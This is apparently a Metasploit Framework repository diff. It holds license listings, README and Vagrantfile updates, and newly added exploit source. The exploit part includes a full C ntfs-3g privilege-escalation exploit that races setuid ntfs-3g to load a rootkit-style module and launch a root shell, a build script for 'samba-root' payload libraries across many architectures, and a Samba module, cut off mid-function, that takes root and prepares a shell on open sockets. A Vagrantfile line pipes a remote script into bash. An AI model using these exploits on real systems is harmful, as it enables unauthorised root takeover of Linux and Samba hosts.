Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
|
||||
Files: lib/net/ssh.rb lib/net/ssh/*
|
||||
Copyright: 2008 Jamis Buck <jamis@37signals.com>
|
||||
License: MIT
|
||||
|
||||
Files: lib/packetfu.rb lib/packetfu/*
|
||||
Copyright: 2008-2012 Tod Beardsley
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: lib/postgres_msf.rb lib/postgres/postgres-pr/message.rb lib/postgres/postgres-pr/connection.rb
|
||||
Copyright: 2005 Michael Neumann
|
||||
License: BSD-3-clause or Ruby
|
||||
|
||||
Files: lib/openvas/*
|
||||
Copyright: No copyright statement provided
|
||||
License: MIT
|
||||
|
||||
Files: lib/rabal/*
|
||||
Copyright: Jeremy Hinegadner <jeremy at hinegardner dot org>
|
||||
License: Ruby
|
||||
@@ -119,22 +86,10 @@ Files: lib/rbmysql.rb lib/rbmysql/*
|
||||
Copyright: 2009 tommy
|
||||
License: Ruby
|
||||
|
||||
Files: lib/rbreadline.rb
|
||||
Copyright: 2009 Park Heesob
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: lib/rkelly/*
|
||||
Copyright: 2007, 2008, 2009 Aaron Patternson, John Barnette
|
||||
License: MIT
|
||||
|
||||
Files: lib/snmp.rb lib/snmp/*
|
||||
Copyright: 2004, David R. Halliday
|
||||
License: Ruby
|
||||
|
||||
Files: lib/sshkey.rb lib/sshkey/*
|
||||
Copyright: 2011 James Miller
|
||||
License: MIT
|
||||
|
||||
Files: lib/windows_console_color_support.rb
|
||||
Copyright: 2011 Michael 'mihi' Schierl
|
||||
License: BSD-3-clause
|
||||
@@ -151,132 +106,6 @@ Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
||||
Files: activemodel
|
||||
Copyright: 2004-2011 David Heinemeier Hansson
|
||||
License: MIT
|
||||
|
||||
Files: activerecord
|
||||
Copyright: 2004-2011 David Heinemeier Hansson
|
||||
License: MIT
|
||||
|
||||
Files: activesupport
|
||||
Copyright: 2005-2011 David Heinemeier Hansson
|
||||
License: MIT
|
||||
|
||||
Files: arel
|
||||
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
|
||||
License: MIT
|
||||
|
||||
Files: bcrypt
|
||||
Copyright: 2007-2011 Coda Hale
|
||||
License: MIT
|
||||
|
||||
Files: builder
|
||||
Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
|
||||
License: MIT
|
||||
|
||||
Files: database_cleaner
|
||||
Copyright: 2009 Ben Mabey
|
||||
License: MIT
|
||||
|
||||
Files: diff-lcs
|
||||
Copyright: 2004-2011 Austin Ziegler
|
||||
License: MIT
|
||||
|
||||
Files: factory_girl
|
||||
Copyright: 2008-2013 Joe Ferris and thoughtbot, inc.
|
||||
License: MIT
|
||||
|
||||
Files: fivemat
|
||||
Copyright: 2012 Tim Pope
|
||||
License: MIT
|
||||
|
||||
Files: i18n
|
||||
Copyright: 2008 The Ruby I18n team
|
||||
License: MIT
|
||||
|
||||
Files: json
|
||||
Copyright: Daniel Luz <dev at mernen dot com>
|
||||
License: Ruby
|
||||
|
||||
Files: metasploit_data_models
|
||||
Copyright: 2012 Rapid7, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: mini_portile
|
||||
Copyright: 2011 Luis Lavena
|
||||
License: MIT
|
||||
|
||||
Files: msgpack
|
||||
Copyright: Austin Ziegler
|
||||
License: Ruby
|
||||
|
||||
Files: multi_json
|
||||
Copyright: 2010 Michael Bleigh, Josh Kalderimis, Erik Michaels-Ober, and Intridea, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: network_interface
|
||||
Copyright: 2012, Rapid7, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: nokogiri
|
||||
Copyright: 2008 - 2012 Aaron Patterson, Mike Dalessio, Charles Nutter, Sergio Arbeo, Patrick Mahoney, Yoko Harada
|
||||
License: MIT
|
||||
|
||||
Files: packetfu
|
||||
Copyright: 2008-2012 Tod Beardsley
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: pcaprub
|
||||
Copyright: 2007-2008, Alastair Houghton
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: pg
|
||||
Copyright: 1997-2012 by the authors
|
||||
License: Ruby
|
||||
|
||||
Files: rake
|
||||
Copyright: 2003, 2004 Jim Weirich
|
||||
License: MIT
|
||||
|
||||
Files: redcarpet
|
||||
Copyright: 2009 Natacha Porté
|
||||
License: MIT
|
||||
|
||||
Files: robots
|
||||
Copyright: 2008 Kyle Maxwell, contributors
|
||||
License: MIT
|
||||
|
||||
Files: rspec
|
||||
Copyright: 2009 Chad Humphries, David Chelimsky
|
||||
License: MIT
|
||||
|
||||
Files: shoulda-matchers
|
||||
Copyright: 2006-2013, Tammer Saleh, thoughtbot, inc.
|
||||
License: MIT
|
||||
|
||||
Files: simplecov
|
||||
Copyright: 2010-2012 Christoph Olszowka
|
||||
License: MIT
|
||||
|
||||
Files: timecop
|
||||
Copyright: 2012 Travis Jeffery, John Trupiano
|
||||
License: MIT
|
||||
|
||||
Files: tzinfo
|
||||
Copyright: 2005-2006 Philip Ross
|
||||
License: MIT
|
||||
|
||||
Files: yard
|
||||
Copyright: 2007-2013 Loren Segal
|
||||
License: MIT
|
||||
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
+130
@@ -0,0 +1,130 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.0.2, MIT
|
||||
actionpack, 4.2.9, MIT
|
||||
actionview, 4.2.9, MIT
|
||||
activemodel, 4.2.9, MIT
|
||||
activerecord, 4.2.9, MIT
|
||||
activesupport, 4.2.9, MIT
|
||||
addressable, 2.5.1, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.4.0, unknown
|
||||
backports, 3.8.0, MIT
|
||||
bcrypt, 3.1.11, MIT
|
||||
bindata, 2.4.0, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.15.1, MIT
|
||||
coderay, 1.1.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.60.1, "Apache 2.0"
|
||||
docile, 1.1.5, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
factory_girl, 4.8.0, MIT
|
||||
factory_girl_rails, 4.8.0, MIT
|
||||
faraday, 0.12.1, MIT
|
||||
filesize, 0.1.1, MIT
|
||||
fivemat, 1.3.5, MIT
|
||||
google-protobuf, 3.3.0, "New BSD"
|
||||
googleauth, 0.5.1, "Apache 2.0"
|
||||
grpc, 1.4.1, "New BSD"
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
i18n, 0.8.6, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.1.0, ruby
|
||||
jwt, 1.5.6, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.2.2, MIT
|
||||
loofah, 2.0.3, MIT
|
||||
memoist, 0.16.0, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-aggregator, 0.2.1, "New BSD"
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 2.0.10, "New BSD"
|
||||
metasploit-framework, 4.15.0, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.15, "New BSD"
|
||||
metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.8.2, MIT
|
||||
mini_portile2, 2.2.0, MIT
|
||||
minitest, 5.10.2, MIT
|
||||
msgpack, 1.1.0, "Apache 2.0"
|
||||
multi_json, 1.12.1, MIT
|
||||
multipart-post, 2.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 4.1.0, MIT
|
||||
network_interface, 0.0.1, MIT
|
||||
nexpose, 6.1.0, BSD
|
||||
nokogiri, 1.8.0, MIT
|
||||
octokit, 4.7.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
os, 0.9.6, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.12.4, LGPL-2.1
|
||||
pdf-reader, 2.0.0, MIT
|
||||
pg, 0.20.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.0, MIT
|
||||
pry, 0.10.4, MIT
|
||||
public_suffix, 2.0.5, MIT
|
||||
rack, 1.6.8, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.8, MIT
|
||||
rails-html-sanitizer, 1.0.3, MIT
|
||||
railties, 4.2.9, MIT
|
||||
rake, 12.0.0, MIT
|
||||
rb-readline, 0.5.4, BSD
|
||||
recog, 2.1.11, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.9, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-core, 0.1.11, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.14, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.72, "New BSD"
|
||||
rex-random_identifier, 0.1.2, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
rspec, 3.6.0, MIT
|
||||
rspec-core, 3.6.0, MIT
|
||||
rspec-expectations, 3.6.0, MIT
|
||||
rspec-mocks, 3.6.0, MIT
|
||||
rspec-rails, 3.6.0, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.6.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 0.0.18, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.1, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
signet, 0.7.3, "Apache 2.0"
|
||||
simplecov, 0.14.1, MIT
|
||||
simplecov-html, 0.10.1, MIT
|
||||
slop, 3.6.0, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 1.9.0, MIT
|
||||
thor, 0.19.4, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.3, MIT
|
||||
tzinfo-data, 1.2017.2, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.9, MIT
|
||||
@@ -9,7 +9,7 @@ Bug tracking and development information can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
New bugs and feature requests should be directed to:
|
||||
http://r-7.co/MSF-BUGv1
|
||||
https://r-7.co/MSF-BUGv1
|
||||
|
||||
API documentation for writing modules can be found at:
|
||||
https://rapid7.github.io/metasploit-framework/api
|
||||
@@ -22,7 +22,7 @@ Installing
|
||||
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||
few clicks. See the [Dev Environment Setup](https://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
Using Metasploit
|
||||
@@ -45,6 +45,6 @@ pull request. For slightly more information, see
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
|
||||
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
|
||||
[unleashed]: http://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
[unleashed]: https://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
|
||||
|
||||
|
||||
@@ -9,6 +9,20 @@ require 'metasploit/framework/spec/untested_payloads'
|
||||
# the user installs with `bundle install --without db`
|
||||
Metasploit::Framework::Require.optionally_active_record_railtie
|
||||
|
||||
begin
|
||||
require 'rspec/core'
|
||||
require 'rspec-rerun/tasks'
|
||||
rescue LoadError
|
||||
puts "rspec not in bundle, so can't set up spec tasks. " \
|
||||
"To run specs ensure to install the development and test groups."
|
||||
puts "Bundle currently installed '--without #{Bundler.settings.without.join(' ')}'."
|
||||
puts "To clear the without option do `bundle install --without ''` (the --without flag with an empty string) or " \
|
||||
"`rm -rf .bundle` to remove the .bundle/config manually and then `bundle install`"
|
||||
else
|
||||
require 'rspec/core/rake_task'
|
||||
RSpec::Core::RakeTask.new(spec: 'db:test:prepare')
|
||||
end
|
||||
|
||||
Metasploit::Framework::Application.load_tasks
|
||||
Metasploit::Framework::Spec::Constants.define_task
|
||||
Metasploit::Framework::Spec::Threads::Suite.define_task
|
||||
|
||||
Vendored
+3
-6
@@ -3,10 +3,7 @@
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "ubuntu/trusty64"
|
||||
# TODO: find a minimal image that keeps up-to-date and
|
||||
# supports multiple providers
|
||||
#config.vm.box = "phusion/ubuntu-14.04-amd64"
|
||||
config.vm.box = "ubuntu/xenial64"
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware" do |v|
|
||||
v.memory = 2048
|
||||
@@ -26,14 +23,14 @@ Vagrant.configure(2) do |config|
|
||||
[ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images
|
||||
"apt-get update",
|
||||
"apt-get dist-upgrade -y",
|
||||
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib",
|
||||
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg2 fortune postgresql postgresql-contrib",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
"mkdir -p ~/.msf4",
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1,196 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdbool.h>
|
||||
#include <errno.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <unistd.h>
|
||||
#include <err.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/eventfd.h>
|
||||
#include <signal.h>
|
||||
#include <poll.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <string.h>
|
||||
#include <sys/wait.h>
|
||||
#include <time.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
int main(void) {
|
||||
/* prevent shell from backgrounding ntfs-3g when stopped */
|
||||
pid_t initial_fork_child = fork();
|
||||
if (initial_fork_child == -1)
|
||||
err(1, "initial fork");
|
||||
if (initial_fork_child != 0) {
|
||||
int status;
|
||||
if (waitpid(initial_fork_child, &status, 0) != initial_fork_child)
|
||||
err(1, "waitpid");
|
||||
execl("rootshell", "rootshell", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
char buf[1000] = {0};
|
||||
// Set up workspace with volume, mountpoint, modprobe config and module directory.
|
||||
char template[] = "/tmp/ntfs_sploit.XXXXXX";
|
||||
if (mkdtemp(template) == NULL)
|
||||
err(1, "mkdtemp");
|
||||
char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100];
|
||||
sprintf(volume, "%s/volume", template);
|
||||
sprintf(mountpoint, "%s/mountpoint", template);
|
||||
sprintf(modprobe_confdir, "%s/modprobe.d", template);
|
||||
sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir);
|
||||
if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777))
|
||||
err(1, "mkdir");
|
||||
int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666);
|
||||
if (conffd == -1)
|
||||
err(1, "open modprobe config");
|
||||
int suidfile_fd = open("rootshell", O_RDONLY);
|
||||
if (suidfile_fd == -1)
|
||||
err(1, "unable to open ./rootshell");
|
||||
char modprobe_config[200];
|
||||
sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd);
|
||||
if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config))
|
||||
errx(1, "modprobe config write failed");
|
||||
close(conffd);
|
||||
// module directory setup
|
||||
char system_cmd[1000];
|
||||
sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/",
|
||||
template, template);
|
||||
if (system(system_cmd))
|
||||
errx(1, "shell command failed");
|
||||
|
||||
// Set up inotify watch for /proc/mounts.
|
||||
// Note: /proc/mounts is a symlink to /proc/self/mounts, so
|
||||
// the watch will only see accesses by this process.
|
||||
int inotify_fd = inotify_init1(IN_CLOEXEC);
|
||||
if (inotify_fd == -1)
|
||||
err(1, "unable to create inotify fd?");
|
||||
if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1)
|
||||
err(1, "unable to watch /proc/mounts");
|
||||
|
||||
// Set up inotify watch for /proc/filesystems.
|
||||
// This can be used to detect whether we lost the race.
|
||||
int fs_inotify_fd = inotify_init1(IN_CLOEXEC);
|
||||
if (fs_inotify_fd == -1)
|
||||
err(1, "unable to create inotify fd?");
|
||||
if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1)
|
||||
err(1, "unable to watch /proc/filesystems");
|
||||
|
||||
// Set up inotify watch for /sbin/modprobe.
|
||||
// This can be used to detect when we can release all our open files.
|
||||
int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC);
|
||||
if (modprobe_inotify_fd == -1)
|
||||
err(1, "unable to create inotify fd?");
|
||||
if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1)
|
||||
err(1, "unable to watch /sbin/modprobe");
|
||||
|
||||
int do_exec_pipe[2];
|
||||
if (pipe2(do_exec_pipe, O_CLOEXEC))
|
||||
err(1, "pipe");
|
||||
pid_t child = fork();
|
||||
if (child == -1)
|
||||
err(1, "fork");
|
||||
if (child != 0) {
|
||||
if (read(do_exec_pipe[0], buf, 1) != 1)
|
||||
errx(1, "pipe read failed");
|
||||
char modprobe_opts[300];
|
||||
sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template);
|
||||
setenv("MODPROBE_OPTIONS", modprobe_opts, 1);
|
||||
execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL);
|
||||
}
|
||||
child = getpid();
|
||||
|
||||
// Now launch ntfs-3g and wait until it opens /proc/mounts
|
||||
if (write(do_exec_pipe[1], buf, 1) != 1)
|
||||
errx(1, "pipe write failed");
|
||||
|
||||
if (read(inotify_fd, buf, sizeof(buf)) <= 0)
|
||||
errx(1, "inotify read failed");
|
||||
if (kill(getppid(), SIGSTOP))
|
||||
err(1, "can't stop setuid parent");
|
||||
|
||||
// Check whether we won the main race.
|
||||
struct pollfd poll_fds[1] = {{
|
||||
.fd = fs_inotify_fd,
|
||||
.events = POLLIN
|
||||
}};
|
||||
int poll_res = poll(poll_fds, 1, 100);
|
||||
if (poll_res == -1)
|
||||
err(1, "poll");
|
||||
if (poll_res == 1) {
|
||||
puts("looks like we lost the race");
|
||||
if (kill(getppid(), SIGKILL))
|
||||
perror("SIGKILL after lost race");
|
||||
char rm_cmd[100];
|
||||
sprintf(rm_cmd, "rm -rf %s", template);
|
||||
system(rm_cmd);
|
||||
exit(1);
|
||||
}
|
||||
puts("looks like we won the race");
|
||||
|
||||
// Open as many files as possible. Whenever we have
|
||||
// a bunch of open files, move them into a new process.
|
||||
int total_open_files = 0;
|
||||
while (1) {
|
||||
#define LIMIT 500
|
||||
int open_files[LIMIT];
|
||||
bool reached_limit = false;
|
||||
int n_open_files;
|
||||
for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) {
|
||||
open_files[n_open_files] = eventfd(0, 0);
|
||||
if (open_files[n_open_files] == -1) {
|
||||
if (errno != ENFILE)
|
||||
err(1, "eventfd() failed");
|
||||
printf("got ENFILE at %d total\n", total_open_files);
|
||||
reached_limit = true;
|
||||
break;
|
||||
}
|
||||
total_open_files++;
|
||||
}
|
||||
pid_t fd_stasher_child = fork();
|
||||
if (fd_stasher_child == -1)
|
||||
err(1, "fork (for eventfd holder)");
|
||||
if (fd_stasher_child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
// close PR_SET_PDEATHSIG race window
|
||||
if (getppid() != child) raise(SIGKILL);
|
||||
while (1) pause();
|
||||
}
|
||||
for (int i = 0; i < n_open_files; i++)
|
||||
close(open_files[i]);
|
||||
if (reached_limit)
|
||||
break;
|
||||
}
|
||||
|
||||
// Wake up ntfs-3g and keep allocating files, then free up
|
||||
// the files as soon as we're reasonably certain that either
|
||||
// modprobe was spawned or the attack failed.
|
||||
if (kill(getppid(), SIGCONT))
|
||||
err(1, "SIGCONT");
|
||||
|
||||
time_t start_time = time(NULL);
|
||||
while (1) {
|
||||
for (int i=0; i<1000; i++) {
|
||||
int efd = eventfd(0, 0);
|
||||
if (efd == -1 && errno != ENFILE)
|
||||
err(1, "gapfiller eventfd() failed unexpectedly");
|
||||
}
|
||||
struct pollfd modprobe_poll_fds[1] = {{
|
||||
.fd = modprobe_inotify_fd,
|
||||
.events = POLLIN
|
||||
}};
|
||||
int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0);
|
||||
if (modprobe_poll_res == -1)
|
||||
err(1, "poll");
|
||||
if (modprobe_poll_res == 1) {
|
||||
puts("yay, modprobe ran!");
|
||||
exit(0);
|
||||
}
|
||||
if (time(NULL) > start_time + 3) {
|
||||
puts("modprobe didn't run?");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,findsock}
|
||||
do ${CC} ${CFLAGS} -Wall -Werror -fPIC -fno-stack-protector samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,67 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver execve,execve@GLIBC_2.0");
|
||||
__asm__(".symver dup2,dup2@GLIBC_2.0");
|
||||
__asm__(".symver getsockname,getsockname@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver execve,execve@GLIBC_2.2.5");
|
||||
__asm__(".symver dup2,dup2@GLIBC_2.2.5");
|
||||
__asm__(".symver getsockname,getsockname@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
char *args[2] = {"/bin/sh", 0};
|
||||
struct sockaddr_in sa;
|
||||
socklen_t sl = sizeof(sa);
|
||||
int s;
|
||||
unsigned char buff[] = {
|
||||
0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
|
||||
0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e,
|
||||
0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
change_to_root_user();
|
||||
|
||||
for (s=4096; s>0; s--) {
|
||||
|
||||
// Skip over invalid sockets
|
||||
if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0)
|
||||
continue;
|
||||
|
||||
// Skip over non internet sockets
|
||||
if (sa.sin_family != AF_INET)
|
||||
continue;
|
||||
|
||||
// Send a semi-valid SMB response to simplify things
|
||||
send(s, buff, sizeof(buff), 0);
|
